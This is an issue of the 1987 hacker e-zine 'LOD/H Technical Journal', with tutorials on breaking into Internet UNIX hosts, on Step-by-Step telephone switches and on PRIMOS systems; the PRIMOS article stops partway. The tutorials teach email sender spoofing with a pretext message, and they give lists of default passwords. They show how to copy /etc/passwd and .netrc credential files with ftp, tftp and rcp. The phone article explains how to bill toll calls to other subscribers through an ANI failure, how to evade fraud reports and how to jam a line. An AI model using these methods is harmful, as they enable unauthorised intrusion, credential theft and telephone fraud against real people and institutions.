Copy Link
Add to Bookmark
Report
The Legion of Doom Technical Journal 02
THE
LOD/H TECHNICAL JOURNAL
-----------------------
INTRODUCTION:
This is issue #2, we had originally planned to put out 6 issues a year,
but it looks as if this will become a quarterly newsletter instead. This is due
to the fact that the articles take months to fully research, write, and edit.
By year end, we hope to show that we are not a "fly-by-night" newsletter and
will continue to provide you with the same level of information, accuracy, and
originality as this issue and the first. We appreciate those who have been
downloading, storing, and distributing the newsletter in its entirety, and hope
this will continue, as it benefits everyone.
Here is the breakdown of this issue: 1 article on Telecommunications,
4 articles on Datacommunications, and one article in the 'other' category. Two
authors have written articles for Issue 1, and 5 are new. Obviously this Issue
is more hacking related, whereas Issue 1 was more phreaking related. If you
have any material which may be of interest, let us know.
Our 'sponsor' BBS list has been shortened to one dependable board, as
Metal Shop Private, Shadowspawn, Hell Prozen Over, The Private Sector and
Atlantis have all gone down, though some may be back online in the future. Left
is Digital Logic. The usernumber/usernames for DL follows for those who wish to
get in contact with us. We are open to suggestions for more Sponsor Boards.
Digital Logic: 305-395-6906 New User Pass=DIGIT
LOD/H Technical Journal Staff Account Number is 231.
One last note, a slight clarification on articles. Articles labeled with
letters, ie: Part A & Part B as in last issue's articles on the Outside Loop
Distribution Plant by Phucked Agent 04 and the LOH Telenet Directory along with
this issue's article on Hacking CMS by Lex Luthor are intended to be complete
articles in themselves and should be merged together. They were broken up for
editing and transmission purposes. Articles labeled as Part 1 & Part 2, are
separate articles based on the same subject.
-------------------------------------------------------------------------------
TABLE OF CONTENTS:
01 Introduction to the LOD/H Technical Journal Staff 04 K
and Table Of Contents for Volume 1, Issue 2
02 The Networked Unix Solid State 17 K
03 Step By Step (SXS) Switching System Notes Phantom Phreaker 12 K
04 A Guide to the PRIMOS Operating System Carrier Culprit 25 K
05 Identifying and Defeating Physical Security and Lex Luthor 30 K
Intrusion Detection Systems Part II: The Exterior
06 A Discrete Unix Password Hacker Shooting Shark 09 K
07 Hacking DEC's TOPS-20: Part II Blue Archer 25 K
08 Hacking IBM's VM/CMS Operating System, Part A. Lex Luthor 26 K
09 Hacking IBM's VM/CMS Operating System, Part B. Lex Luthor 25 K
10 Network News & Notes Staff 07 K
Total: 7 articles, 10 files 180 K
-------------------------------------------------------------------------------
The LOD/H Technical Journal: File #2 of 10
----------------------------
The Networked UNIX
:TCP-IP
by:
SOLID STATE
June 23 1987
----------------------------
PREFACE
I've written this article with the assumption that those reading it have a
working knowledge of UNIX and large networks, specifically the DARPA Internet
-- ARPAnet and MILnet. Within I offer guidance on features of the TCP-IP
(Internet Transmission Control Protocol) architecture, such as FTP, TFTP,
TELNET, SMTP, and the UNIX Remote Execution Facilities. Before I commence, I
want to make it known that this file is not intended to be a 'why' file, but
instead a 'how to' tutorial. In the event I get a good response concerning
this document, I may later release a more technical oriented paper from a
programmer's viewpoint.
NOTE: Instances where I give examples of a command format, words in capital
represent variables. For example, in the line '$ telnet HOST', HOST should be
replaced (in LOWERCASE!) by the name of a system. This is just my means of
distinguishing between actual commands and their options.
Control characters are denoted in the form of an exponent, eg. ^H is
control H.
YP DATABASE
Present on every UNIX that supports TCP-IP are a set of files labeled by
programmers as the yellow pages, that serve as a directory of the hosts and
networks accessible by your system. These files are /etc/hosts and
/etc/networks respectively. There may also be a third, /etc/hosts.equiv which
is a listing of those hosts that share resources and/or have users common to
each other. They are ASCII text and have viewable permissions to all.
Therefore it may prove helpful to print these out for reference and easy
access. Entries in the above mentioned take the form:
###.###.###.### host.owner.research nicknames
Example:
18.72.0.39 athena.mit.edu mit-athena athena
The string of numbers, expressed in octal "dot notation", is the NetNumber
of the host. Followed by the complete name, and lastly other names which it is
universally known as. When attempting to access a system, any one of these
identification codes may be used.
NOTE: Most of the databases one will come across are incomplete or may be
outdated. A complete host list can be obtained from the Network Information
Control Center (NIC) at SRI International, the host name is sri-nic.arpa
TELNET
Telnet is the standard facility used for logging into other systems. It is
found not only on UNIX, but TOPS, VMS, and all the other various operating
systems found on the DDN. To activate the program:
% telnet HOST [PORT]
If invoked without arguments, it enters command mode, indicated by the
prompt 'telnet>' From here, many functions are available.
open HOST [PORT]
Open connection to named computer. If PORT, which shall be explained
subsequently, is ommitted then telnet will contact the TELNET server of that
host. As earlier mentioned, systems can be addressed by either their
NetNumber, NetName, or a nickname.
close
Close connection and return to command mode.
quit
End session and exit program.
status
Show current status of telnet. ie. connections and toggled options.
z
Suspend telnet. This allows you to operate an interactive shell on the
local machine while pending an open connection to a remote host.
? COMMAND
Get help on COMMAND. Or if COMMAND is ommitted, then a summary of all
options is printed.
Once a connection has been established, telnet enters input mode where you
can communicate directly with the remote. To return to command mode, enter ^]
A hacking session might look like:
% telnet ucbvax.berkeley.edu
Trying 10.2.0.78 ...
Connected to ucbvax.berkeley.edu.
Escape character is '^]'.
4.3 BSD UNIX (ucbvax.Berkeley.EDU)
login: example
Password: ^D
Connection closed by foreign host.
%
PORTS
Each host on the Internet runs various daemons to perform tedious upkeep
jobs like recording logs, mounting disks and on UNIX, cleaning uucp and /tmp
files. Along with the 'normal' daemons is one ran to accomodate communication
between a host and its peers on a network. inetd the managing daemon of system
to system communication has a number of various services which it regularly
uses, but they can also be manually addressed via telnet. The notation,
predisplayed, is simply:
% telnet HOST PORT
OR
telnet> open HOST PORT
Now each service has a port number associated with it. The number is
decimal, in the range 0-1023. A database of all active services is located in
the ASCII text file /etc/services
From a hacker's view the following are very helpful in the process of
penetrating a system:
79 Finger server. Connecting to this will give a systat report similar
to one a user would get if he was on the target system and issued the finger
command. Once connected to port 79, the host will sit idle until one of two
things: Either a return is pressed and a general finger will result, or a
username is entered where personal info will outcome.
% telnet psuvax1.psu.edu 79
Trying 128.118.6.2 ...
Connected to psuvax1.psu.edu.
Escape character is '^]'.
Login Name TTY Idle When Office
opr The Operator co Sat 19:02 334 Whitmo x5-9723
hager William W. Hager d1 Sat 18:50 237-8876
georg Georg Schnitger 22 1:32 Sat 18:42 315 Whitmo x5-1406
malik Sohail Malik p0 18 Sat 19:16 214c Compu x5-0816
Connection closed by foreign host.
%
11 Systat server. This can not be issued to target UNIX systems, but is
applicable to VMS and TOPS where it returns data like that from finger.
25 SMTP server. This is the server used for mail among systems. It is
also the most vulnerable port to attack as it can be easily fooled. With this
knowledge the hacker can assume any identity he wishes through mail. For
example, to send mail to guest@cc3.bbn.com from root@satnet.arpa, under normal
circumstances one would have to possess the root account wherefrom he would
just enter:
% mail guest@cc3.bbn.com
But this is not always feasible or possible! So we must resort to an
indirect, devious approach..
% telnet cc3.bbn.com 25
Trying 8.3.0.5 ...
Connected to cc3.bbn.com.
Escape character is '^]'.
220 cc3.bbn.com. Sendmail 3.2/SMI-3.2 ready at Fri, 28 Feb 87 17:40:53 PST
rcpt to: guest
250 guest... Recipient ok
mail from: root@satnet.arpa
250 example... Sender ok
data
354 Enter mail, end with "." on a line by itself
This is an example of the SMTP port.
.
250 Mail accepted
^]
telnet> c
Connection closed.
%
To summarize the text above; First, contact the remote at port 25 using
telnet:
% telnet HOST 25
After system link authentication, enter:
rcpt to: USERNAME
Ok? Type in bogus identity:
mail from: USERNAME@HOST
To start message:
data
Now, the mail:
My organization has of late been discussing an upgrade to a Vax
processor. The Sun computer we are currently using is immensely slow (and
getting slower!) due to the demands put on it by the users. If you would allow
me a demo account on your system so I may view its performance, I would be
deeply grateful.
Please respond to me through mail at: bogus!haha!sys1!jeff.
A period on a line by itself will complete the transfer:
.
FTP
FTP is a file transfer program that is quite powerful and helpful to the
hacker in obtaining access to a target. It can be used to send and receive
data. Similar to telnet, the client with which to communicate can be
specified when invoked:
% ftp -n HOST
The -n option I always include as it disables auto-login and net-trace, an
auto-feature which sends the originator's login and system name. The prompt
for FTP is 'ftp>'.
open HOST
Establish connection to the named HOST.
close
Terminate connection and return to command interpreter.
quit
Abort program.
status
Show status parameters.
! COMMAND
Run shell command on local machine. Like the 'z' option of telnet, if
COMMAND is ommitted, than an interactive shell is invoked. ^D will return user
back to the interpreter.
ls
Print a listing of the directory contents on the remote host in an
abbreviated form. To do a long listing, enter 'dir'.
cd REMOTE_DIRECTORY
Change the working directory on server.
pwd
Print working directory on remote.
lcd DIRECTORY
Change the working directory on the local machine to DIRECTORY.
get REMOTE_FILE LOCAL_FILE
Receive the REMOTE_FILE on the remote system and name it LOCAL_FILE on the
local system.
send LOCAL_FILE REMOTE_FILE
Send LOCAL_FILE to the host and name it REMOTE_FILE.
append LOCAL_FILE REMOTE_FILE
Append LOCAL_FILE to the end of the distant file, REMOTE_FILE.
rename REMOTE_FILE NEW_REMOTE_FILE
Give a new name to a remote file.
delete REMOTE_FILE
Kill REMOTE_FILE.
Various other commands exist for bulk transfers and directory management.
If there is any doubt ever on a command, help is always available:
ftp> help COMMAND
Once a connection has been made, the computer will identify itself and then
go idle. (That is, if auto-logging is disabled as it should be.) To login to
the system:
ftp> user USERNAME
Then if a pass is required, the proper prompt will appear.
% ftp -n
ftp> o ll-xn.arpa
Connected to LL-XN.ARPA.
220 ll-xn FTP server (Version 4.103 Wed Jun 25 17:42:33 EDT 1986) ready.
ftp> user anonymous
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp>
Logging on to a FTP server is different than normally entering a machine.
When a remote user is operating FTP, the exchange is treated as a process of
ftp or daemon, not an actual login. Therefore, a different login program,
which restricts use immensely, is used.
If set up properly, FTP will chroot to /usr/spool/ftp where three
directories exist, bin, etc, and pub. Within /usr/spool/ftp/etc is the
password file used for the FTP server login program. It is not a complete
version of that in /etc/passwd, but it can be useful by providing usenames.
Also of mentioning is /etc/ftpusers. This file contains multiple lines
of usernames is like /usr/lib/cron/cron.deny on a Unix System V. If you are
unlucky and your username appears in the file, FTP logins are denied.
A few defaults are present within this doctored version of /etc/passwd that
most always will provide access to a system.
ACCOUNT PASSWORD
=================================
anonymous anonymous, guest, ftp
ftp ftp
guest guest
ftpser ftpser
tftpser tftpser
help help
Each user may have in their home directory a file titled '.netrc'. This is
a file containing usernames and passwords used on systems that a user commonly
converses with. Entries in the file take the form:
machine HOST login USERNAME password PASSWORD
It is advantageous to locate all of these files on your system as they will
expand not only your systems list, but also your chance of entering a
computer.
Once admittance has been gained, I suggest copying the /etc/passwd file for
later attempts at hacking the front end of the system if other routes such as
defaults, finger, TFTP (To be explained hereafter.), or by way of the remote
facilities (Ditto.) are not possible.
ftp> get /etc/passwd pass
200 PORT command okay.
150 Opening data connection for /etc/passwd (26.8.0.14,1389) (47 bytes).
226 Transfer complete.
48 bytes received in 0.32 seconds (0.15 Kbytes/s)
ftp> close
221 Goodbye.
ftp> quit
%
TFTP
The Trivial File Transfer Program is probably the most dangerous aspect of
the TCP-IP structure on the Internet. TFTP requires no account or password be
present on a host system. About the only restriction is that the files
inquired must have public read access permissions set. If not, an
authorization failure error will result. Also, the TFTP server port must be
open, otherwise no transmissions can take place.
% tftp HOST
Once connected, the user will get the 'tftp>' prompt where from he can grab
or send files.
connect HOST
Set HOST up for transfers. There is no actual connection made in the sense
that communication has happened, the program merely remembers what host to be
used in a transfer inquiry. Therefore, there is not a disconnect command.
quit
Exit TFTP.
status
Show current set parameters. ie. HOST and timeout period.
get /PATH/FILE /PATH/FILE
Get /PATH/FILE from HOST and name it /PATH/FILE on local system. If no HOST
has been specified yet, the form may be 'get HOST:/PATH/FILE /PATH/FILE'.
put /PATH/FILE /PATH/FILE
Send /PATH/FILE on local system to HOST and give it the title /PATH/FILE.
As above, if HOST has not been specified, the form is 'put /PATH/FILE
HOST:/PATH/FILE'.
timeout SECONDS
Set timeout parameter. The default is 25, that means abort transmission if
no response from selected host after set period.
? COMMAND
Help with TFTP.
TFTP is the preferred method of file transfer. But is often closed to use
due to its insecurities. To the hacker though, it is wonderful because data
captured are genuine, not doctored versions as is the case with FTP. Therefore
if possible, one will most likely use it to copy /etc/passwd:
% tftp mit-amt
tftp> get /etc/passwd /tmp/passwd
Received 16453 bytes in 7 seconds.
tftp> q
%
REMOTE PROCEDURES
Additional to the standard features of the TCP setup present on all
machines of the net, UNIX has a set of it's own remote system interaction
commands. The set of utilities, which I affectionately call the Remote
Execution Facilities, are usable only between resource sharing UNIX systems.
The conglomeration of remote programs can be very helpful for overtaking other
suspect targets, especially if they are part of a small network unto
themselves besides being major hosts on the Internet.
Before one sets out on the quest of conquering a system, it is wise to know
who is currently logged on:
% rusers -l HOST
Rusers -l alone will print out a listing for all immediate surrounding UNIX
hosts, but if a HOST is specified, only that particular computer will report.
% rlogin HOST -l USERNAME
If -l USERNAME is not included, the account name in use at present time
will be used as the USERNAME when attempting login to HOST. If the username
specified is present locally and on the distant machine in the file
/etc/hosts.equiv, no password is required to login. This can be compromising
to the security, a reason why the security wise will often make
/etc/hosts.equiv a null file.
Each user may optionally have a file, '.rhost', in his home directory. This
is a personal equivalent to /etc/hosts.equiv. If you are logged into an
account with such a file, no pass is required to login (via rlogin), to the
computers named.
Alike to the UUCP protocol, there is an allowance of the Remote Execution
Facilities to preform commands on a networked system:
% rsh HOST -l USERNAME "COMMAND"
Remote shell will permit unlimited commands to be carried out on the remote
as long as the following criteria is met:
The username, if specified (If it is not, the current local one is
used.), must be present on the foreign system and have remote execution
privileges.
Commands are effective according to the environment set in .cshrc and
.login on the host.
An example job:
% rsh century "ps -t console"
If the quotes are ommitted then variables like *?.,\ are taken literally.
Also, if no redirection is submitted, than output, if the command yields it,
is sent back to the issuee.
Remote Copy, a sub-command of rsh, is a command similar to uucp. It must
follow the criteria of Remote Shell plus all files qued must have public read
permissions.
% rcp HOST:/PATH/FILE HOST:/PATH/FILE
For example, a common call would be the password file. So if I wanted to
transfer the /etc/passwd file from harvard.arpa to rutgers:
% rcp harvard.arpa:/etc/passwd rutgers:/tmp/passwd
This format leaves quite alot of flexibility as it stands third party
transfers are possible. If the second HOST is not inserted, than the file is
put on the local system.
A notable option of rcp is directory copy. It will if specified, copy a
directory and all the trees beneath it...allowing you to in theory to copy the
entire file system onto your local host. (uh, oh!)
% rcp -d HOST:/PATH/DIRECTORY_NAME HOST:/PATH/DIRECTORY_NAME
CONCLUSION
In closing I would like to state that I have purposely left much
information uncovered if I felt it would compromise an institution or company.
I apoligize for not explaining many of the subjects discussed in the full
detail they deserve, but if I had this article would have been mammoth.
Any questions, challenges, comments, or criticism can be directed to me,
Solid State, through any of a various boards I visit or to an LOD/H Technical
Journal account of which your mail shall be somehow communicated to me.
Sys Unix Comm
STEP BY STEP SWITCHING NOTES
BY PHANTOM PHREAKER
WRITTEN FOR LOD/H TECHNICAL JOURNAL
The following research was done on a class 5 Step By Step switching system.
Items mentioned in this article are not guaranteed to work with your particular
office. The following interesting topics about Step By Step switching are for
informational and educational purposes only. This article is aimed at people
who wish to learn more about telephone switching systems.
I realize step-by-step switching is dwindling every day, with many
electromechanical SxS offices being replaced with newer electronic/digital
switches and Remote Switching Systems (RSS's). However, rural areas of the U.S.
still use Step, so if you are ever in an area served by a SxS CO you may be
able to use this information.
1:ANI Failure/ONI
To understand this technique, you must understand how ANI functions in the
Step-by-Step switching system. Your CO sends ANI, with your number, in MF or DP
to receivers that collect the ANI information and store it, along with the
called number, on the appropriate form of AMA tape. ANI outpulsing in MF can
use either LAMA (Local Automatic Message Accounting) or CAMA (Centralized
Automatic Message Accounting). ANI sent in DP type signalling can also be used,
but is rare. DP vs MF trunk signalling is similar to the difference between
DTMF and pulse dialing, except on a trunk. DP signalling sends all information
in short bursts of 2600Hz tones.
Causing ANIF's/ONI is an easy task in SxS (and some versions of Xbar),
because the customer's link to the CO will allow the customer to input MF tones
to influence a calls completion. This can be done by dialing a long distance
number and listening to the clicks that follow. After the first click when you
are done dialing, you will hear a few more. They will be timed very close to
one another, and the last click occurs right before the called telephone rings.
The number and speed of the clicks probably varies. Basically what these clicks
are is the Toll Office that serves your CO setting up a route for your call. In
order to abuse this knowledge, you need access to a MF source, whether it be a
blue box, a computer with a good sound chip, tape recording, etc. Right before
you hear the series of clicks, send one of the following sequences in MF:
KP+1 (Repeatedly) For Automatic Number Identification Failure (ANIF)
-or-
KP+2 (Repeatedly) For Operator Number Identification (ONI)
(Note:these will not work if your CO uses DP signalling.)
Play these tones into the phone at a sufficient volume so that they 'drown out'
the series of clicks. Do not send an ST signal, as you are not actually dialing
on a trunk. You must send these MF sequences quickly for this method to work
correctly. After you have played your 'routing' a few times, you will hear a
TSPS operator intercept your call and ask for the number you are calling FROM.
When an ANIF is recognized, the call is cut through to a TSPS site that serves
your area. Now, you can give the operator any number in your exchange and she
will enter the billing information manually, and put the call through. The toll
charges will appear on the customer who owns the number you gave. You can also
accomplish a similar feat by merely flashing the switchook during the series of
clicks. This will send DC pulses that scramble the ANI outpulsing and cause
your call to be sent to a TSPS operator before the dialed number. Be sure to
stop sending the MF 'routing' after the operator attaches or she may know that
something's up. Use this method sparingly and with caution. It would also be a
good idea not to use the same number for billing more than one time. Don't use
this method in excess, because a toll office report will list the number of ANI
failures for a specific time period. The ONI method works better because it is
assumed ONI is needed to identify a caller's DN upon a multi-party line. Too
many ANI failures will generate a report upon a security/maintenance TTY, so if
you plan on using this method, use the ONI method instead of just ANI Failure.
The basic idea behind the ANIF is to scramble your ANI information by using MF
(or the switchhook) to send your LD call to a TSPS operator for Operator Number
Identification (ONI) due to ANI Failure. The idea behind the ONI method is that
you are fooling the switch into thinking you are calling from a multi-party
line and ONI is needed to identify your DN.
2:Test numbers
Some other interesting things in the Step By Step system can be found by
dialing test numbers. Test numbers in SxS switching systems are usually hidden
in the XX99 area, as opposed to 99XX, which is common for other types of
switching systems. These types of numbers are possibly physical limitations of
a SxS switch, and thus a milliwatt tone or other test numbers will be placed
there, because a normal DN can't be assigned such a number. However, these XX99
numbers are usually listed in COSMOS as test numbers. Another interesting note
about XX99 numbers is that they seem (at least in some offices) to be on the
same circuit. (That is, if one person calls an XX99 number and receives a test
tone, and another person calls any other XX99 number in that same prefix, the
second caller will receive a busy signal).
Here we must examine the last four digits of a telephone number in detail.
XXXX=WXYZ W=Thousands digit
X=Hundreds digit
Y=Tens digit
Z=Units digit
Dialing your prefix followed by an XX99 may result in a busy signal test
number, a network overflow (reorder), milliwatt tones, or other type of error
messages encountered when dialing.
Not every XX99 number is a test number, but many are. Try looking for these
in a known Step by Step office.
The numbers that return a busy signal are the ones that incoming callers
are connected to when the Sleeve lead of the called Directory Number is in a
voltage present state, which means the line is in use or off-hook. More about
this in the next topic.
3:Busy signal conferencing
Another interesting feature of the Step-By-Step system is the way busy
tones (60 IPM) are generated. In ESS and DMS central offices, busy signals that
are sent by the terminating switch are computer generated and sound very even
and clear with no signal irregularity. In SxS, all calls to a particular DN are
sent to the same busy signal termination number, which can be reached most of
the time by a POTS number. These busy tones are not computer generated and the
voice path is not cut-off.
You can take advantage of this and possibly have a 'busy signal conference'.
This can be achieved by having several people dial the same busy DN that is
served by a Step office, or by dialing an always-busy termination number. When
you are connected to the busy signal, you will also be able to hear anyone else
who has dialed the same busy number. Connection quality is very poor however,
so this is not a good way to communicate.
As an added bonus, answering supervision is not returned on busy numbers,
and thus the call will be toll-free for all parties involved. However, you must
be using AT&T as your inter-LATA carrier if the call to the busy number is an
inter-LATA call for you. So if your IC is US Sprint, you must first dial the
AT&T Carrier Access Code (10ATT) before the busy number. If your IC doesn't
detect answer supervision, and begins billing immediately or after a certain
amount of time, then you will be billed for the length of the call.
4:Temporarily 'freezing' a line
A SxS switching system that operates on the direct control principle is
controlled directly by what the subscriber dials. Jamming a line on SxS to
prevent service is possible by simply flashing the switchook a number of times.
Or you may find after several aborted dialing attempts, the line will freeze
until it is reset, either manually or by some time-out mechanism. Usually the
time the line is out of action is only a few minutes. The line will return a
busy signal to all callers, and the subscriber who has a 'dead' phone will not
even hear sidetone. This happens when one of the elements in the switch train
gets jammed. The switch train consists of the linefinder, which sends a dial
tone to the subscriber who lifted his telephone, and places voltage on the S
(Sleeve) lead as to mark that given DN as busy. Next in the switch train are
the selectors. The selectors are what receive the digits you dial and move
accordingly. The last step in the switch train is the connector. The connector
is what connects calls that are intraoffice, and sends calls to a Toll office
when necessary. Other types of devices can be used in the switch train, such as
Digit Absorbing Selectors, where needed.
5:Toll/Operator assisted dialing
You may be able to dial 1/0+ numbers with your prefix included in some
areas. You can dial any call that you could normally reach by dialing 1+ or 0+.
For example, to dial an operator-assisted call to a number in Chicago, you
could dial NXX+0312+555+1000 where NXX is your prefix, and you would receive
the usual TSPS bong tone, and the number you dialed, 312+555+1000, would show
up on the TSPS consoles LED readout board. You can also use a 1 in place of the
0 in the above example to put the call through as a normal toll call.
This method does not bypass any type of billing, so don't get your hopes
up high.
The reason this works is twofold. The first reason is that the thousandths
digit in many SxS offices determines the type of call. A 0 or a 1 in place of
another number (which would represent a local call) is handled accordingly. The
other reason is due to a Digit Absorbing Selector that can be installed in some
SxS offices to 'absorb' the prefix on intraoffice calls when it is not needed
to process the call. A DAS can absorb either two or three digits, depending
on whether the CO needs any prefix digit(s) for intraoffice call completion.
6:Hunting prefixes
SxS switches may also translate an improperly dialed local call and send
it to the right area over interoffice trunks. Take for instance, you need to
make a local call to 492-1000. You could dial 292-1000 and reach the exact
same number, provided that there is no 292 prefix within your local calling
area. However, only the first digit of a prefix may be modified or the call
will not go through correctly unless you happen to have dialed a valid local
prefix. You also cannot use a 1 or a 0 in place of the first prefix digit,
because the switch would interpret that as either dialing a toll or an operator
assisted call.
7:Trunks
Step by Step switching system incoming and outgoing trunks are very likely
to use In-band supervisory signalling. This means you could possibly use
numbers served by a SxS CO to blue box off of. But, some older step areas may
not use MF signalling, but DP signalling. DP signalling uses short bursts of
2600Hz to transfer information as opposed to Multi-Frequency tones. In DP
signalling, there are no KP or ST equivalents. Boxing may be accomplished from
DP trunks by sending short bursts of 2600Hz (2 bursts would be the digit 2).
Acceptable pulse rates are 7.5 to 12 pulses per second, but the normal rate is
10 pulses per second. A pulse consists of an 'on hook' (2600Hz) tone and an
off-hook (no tone). So, at 10 pulses per second, a digit might be .04 seconds
of tone and .06 seconds of silence. DP is rarely used today, but some
direct-control Step offices still use it. Common Control Step offices are much
more likely to use MF trunk signalling.
As said at the start of this file, some of the things mentioned here may
have no practical use, but are being exposed to the public and to those who did
not know about any one of the procedures mentioned here previously.
References and acknowledgements
===============================================================================
Basic Telephone Switching Systems-By David Talley, Hayden publishers
No. 1 AMARC-Bell System Technical Journal
Mark Tabas for information about CAMA and DP, The Marauder, and Doom Prophet.
===============================================================================
The LOD/H Technical Journal: File #4 of 10
Written by,
Carrier Culprit
and
The Legion Of Hackers
This is Part I of a II part series on the PRIME
operating system. In this article I will give a
general overview of the system and command usage.
Note: This article will center around the Primos version 19, and revisions 19.1
and up.
[Background Information]
Primos is the operating system for the PRIME mainframe, and supermini
systems. The operating system is usually run on the Prime 750. Primos is a
relatively secure system. Externally security is great, but the internal
security needs help. The latest revision of version 19 is 19.4.0 (as of this
writing). This revision is more secure in both external and internal security
than its predecessors. By the time this article is released, Version 20 should
be out and an article on that version will be forthcoming.
[Logging in V18.x.x]
It is quite easy to hack into a Prime running a version 18 of Primos.
The external security is rather poor. All you need is an ID to logon.
There is no password prompt, thus getting an operator's account is
rather easy. Occasionally, there will be some additional security software
running and passwords will be needed. I am not going to go into detail on
version 18 because it is obsolete, any questions regarding version 18 please
leave me mail.
[Logging in V19.x.x]
A Primos system is very easy to recognize. Once you are connected,
hit a few returns to get the "ER!" prompt or you may be prompted
with the ID prompt. If you do get prompted with the ID prompt, you need
not put "Login" in front of the ID. Here is an example of a Primos login:
ATDT 123-4567
[2 RETURNS]
ER! Login CARRIER
Password:
Prime (user 31) Logged in Friday, 5-Sept 14:27:20
Welcome to Primos Version 19.4.5
Last login Thursday, Sept 4 1986 02:01:12
(1 mail waiting)
Note: You usually get 1 try to login before being disconnected.
In some cases the 2 c/r's are not needed and some systems won't respond until
you type "login" and a return. Passwords and ID's are 6 characters, they may
consist of letters and numbers. Finding passwords on a Primos can be hard, but
there are some common ID's and passwords. You must use "login" before entering
your ID. In this case my ID is "CARRIER". Here is a common list of ID's and
passwords I have come across:
===============================
| ID name | Password |
===============================
| PRIME | PRIME |
| *SYSTEM | SYSTEM |
| PRIMOS | PRIMOS |
| *ADMIN | ADMIN |
| RJE | RJE |
| DEMO | DEMO |
| GAMES | GAMES |
| GUEST | GUEST |
| REGIST | REGIST |
| TEST | TEST |
| NETMAN | NETMAN |
| PRIRUN | PRIRUN |
| TOOLS | TOOLS |
| CMDNC0 | CMDMNC0 |
| +TELENET | TELENET |
===============================
Note: * means that that ID is most likely to have SYS1 priorities.
Note: + account belongs to Telenet or some employees of Telenet in which the
Primos will be located on the Telenet packet network.
System Accounts:
SYSTEM- This account usually contains configuration programs. It
also contains system messages, logs, and userlists.
TOOLS- This account usually contains the utility to add users and the Netlink
utility (Explained later).
CMDNC0- Contains help files.
These are default accounts which are standard in new Primos systems. They
should be there unless the userfile has been modified by the system operator.
You can also mix them around, ie- Login SYSTEM Password:PRIME
There is no "systat" or extensive on-line help before logging in. Don't you
wish people would model their operating systems after TOPS-10 (chuckle)? The
best account to get on under would be an account with SYS1 priorities. This
account is for people who advise regular users. Ok, lets assume you have
hacked onto a regular account something like games.
The command prompt for Primos is "OK,". The first thing we would
want to do is to see who is logged in. We would type "Users" and
would get something like this:
OK, Users
Users=8
This is telling us that there are 8 users currently logged in, which isn't
extremely helpful. To get a full listing of usernames we would type "Status
Users" or "Status -Users". We would get a status of users currently on-line.
It would show us usernames, devices, and other sub-categories. Here's a sample
of what you would get:
User Number Device
ADMIN 3 <MDF0>
SYSTEM 1 <MFD0> <MFD1>
OBB 31 <MFD0>
CRIMINAL 12 <MFD1>
If you see that other people are logged in, it may be best to log off and
call back later, as the operators can perform the same command, and if they
know that user should not be on the system at that time, you will obviously be
kicked off. If there are 2 devices specified, the user is either receiving
output from a different device, sending input to that device, or has logged out
incorrectly (tsk tsk).
To get a full status of memory and accounting, you would type "Status System"
This is usually in a Menu driven program, and you will get different options.
ie- Log of users, memory, devices, etc.
We can access different priority levels by using the "CHAP" command. This is
the way we can find out what our priority level is. We would do:
OK, CHAP UP
OK, CHAP DOWN X or CHAP DOWN
to return to your original priority level:
OK, CHAP ORIGIN or CHAP DEFAULT
Usually a user may leave his priority level rather low. You can then try to
raise your level. There should be 6 different priority levels. A 0 meaning
lowest, and 6 meaning highest. Here is a little diagram that will give you a
list of ID's and what most of them will have access to.
Note: Some may have access to more or less than what I have written, but
the comments are accurate for most systems.
!=================================================!
! ID ! Comments !
!=================================================!
! GAMES !Allows user to view low level !
! !directories, and execute regular!
! !commands. ie-CHAP, STATUS !
!=================================================!
! DEMO !Allows user to run games, and !
! !execute the tour program. Most !
! !commands will not work, and it !
! !has a time limit. Lastly, it can!
! !only access low lvl directories.!
!=================================================!
! PRIME !Allows user to execute all !
! !commands, except operator cmds. !
! !User can also access PRIMENET if!
! !the system supports it. Access !
! !to only low level directories. !
!=================================================!
! ADMIN !Access to view all directories &!
! !bypass all ACL'S. Can setup an !
! !accounts on other Primos systems!
! !via PRIMENET (if available). !
! !User can execute any command. !
!=================================================!
! SYSTEM !Same as ADMIN, except cannot !
! !view feedback to ADMINS. !
!=================================================!
! RJE !Same as games, except a RJE !
! !user can erase user log and spy.!
!=================================================!
! TEST !Able to access any directory, !
! !only restriction is a test user !
! !is not authorized to shut down !
! !the system. !
!=================================================!
Note: RJE is a Remote Job Entry
Priority levels may vary on different Primos systems, they can range from
0- to any number up to 10. The most common range is 0-6. On some Primos
systems you can do a CHAP PRIORITY to see what the range is.
Ok, we have checked priorities, and the system status. Lets move to
directories. To list a directory type "LD" short for List Directory.
This will list the directory you are attached to. In this case it
will be your home directory. You will get a list of files within your own
directory. To view someone elses directory you would type AT nameofdirectory.
Lets say we are logged into a DEMO account. And we would like to
view the files in the GAMES account. We could do either of the following:
OK, AT GAMES
This is telling the system we would like to default to the Games directory.
This is similar to the Set Default name on a VAX/VMS system. (See Lex Luthor's
Hacking VAX/VMS 3 part series for more information on VMS)
or we could do
OK, FUTIL
>AT GAMES
This is the same thing, except in the first method you can still execute
Primos commands while still attached to the Games account. But when using
FUTIL (File UTILity program) you can only list, create and copy files. To get
out of the file utility program just hit a Control P. Here is a chart of file
types and how to execute them:
-------------------------------------------
| File type | How to execute it |
===========================================
| .CPL | CPL pathname |
| .SAVE | SAVE pathname |
| .SEG | SEG pathname |
| .BASICV | BASICV pathname |
| .TXT | SLIST pathname |
| .COM | CO pathname |
-------------------------------------------
Note: SLIST will also show the program lines of the file, whether it be a
CPL file or COM file. This is a good way to learn CPL (Command Procedure
Language).
Most files will not have suffixes. To execute them type "Resume pathname",
filenames are called pathnames on PRIMOS. Unlike VMS, the PRIMOS system
doesn't have the type of file as a suffix. On some files you'll get the
suffix, but if not try: Resume pathname and that should execute the file,
especially files with an "*" preceding them. If a file is in the format of,
"*filename" do "Resume *filename". Usually basic files have an * preceding
their titles.
To create a directory type:
OK, Create directname [-password] [-access]
A password can be from 1-6 letters, if I wanted to have a password on
my directory I would do-
OK, Create directname [-limp] [-access]
If you don't put in an access level, the directory will automatically be
set to ALL access. Here's a list of access rights:
P = Protect a directory
D = Delete entries from directory
A = Add entries to directory
L = Read the contents within directory
U = Attach to a directory
R = Read contents of a file
W = Edit contents of a file
ALL = All of the Above^^^^^
NONE = Denies all access
Typically, if you are logged into a DEMO account your directory will be set
to ALL access. If it is, someone can attach to the demo directory and
do anything they want with it. Here is a list of accounts and what access
they will usually have on their directory.
DEMO = ALL
GAMES = LUR
PRIME = ALL
SYSTEM = LUR
ADMIN = NONE
TEST = LUR
JBB = NONE
RJE = LUR
Most directories have LUR access which is access to read contents of the
directory, attach to the directory, and read contents of a file. If
you have enough privileges (priority levels) you can do the following to
change the access rights:
OK, Set_Access ALL [-LUR]
